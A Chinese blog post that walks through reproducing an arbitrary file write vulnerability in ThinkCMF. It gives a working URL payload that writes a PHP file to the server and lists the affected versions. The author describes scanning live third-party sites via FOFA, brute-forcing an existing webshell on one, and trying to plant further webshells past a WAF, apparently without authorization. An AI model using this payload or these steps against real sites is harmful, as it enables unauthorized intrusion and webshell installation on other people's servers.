ThinkCMF的任意文件写入漏洞复现

lollipop

0x01概述

今天正开心的刷着B站,公司大佬们就又开始在批量刷漏洞赚钱了,我这个着急啊,哀求大佬们带带我,大佬在群里扔了个payload(如下)和一个内容管理框架的名字:ThinkCMF

/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>

说有任意文件写入漏洞,在任意目录下加入payload可以直接把马子写到服务器上,我一听哇塞这玩意这么美滋滋吗,兴致勃勃打开FOFA,输入内容管理框架的名字:ThinkCMF,给出了一堆站点,兴奋地进去一个一个试,纳尼,不行啊,试了几个都没反应,上网查了下影响版本如下。

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

看来不是通杀(哪有那么容易通杀喔,小声逼逼),那就只有一个一个试咯。

0x02复现

payload,在采用了ThinkCMF的网站任意目录url下加入payload后请求,如果该版本存在漏洞,则文件会被写在该目录下

/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>

info.php为写入文件的名字
<?php phpinfo();?>为写入文件的内容,执行后返回phpinfo信息

找了半天,找到了一个,而且爆破了一下webshell,发现别人已经搞过了,后来发现只有直接写入phpinfo()的马正常,其他的菜刀马之类的都被waf拦截了,试了写了一些经过加密了的小马或者远程加载大马,没有报错,但是无法执行命令或者页面啥也没有,emmmm,容我在继续研究研究。
将payload直接加在首页的url后执行,如果没有报错,继续访问info.php,成功则返回phpinfo()信息。

2 thoughts on “ThinkCMF的任意文件写入漏洞复现

发表评论

电子邮件地址不会被公开。 必填项已用*标注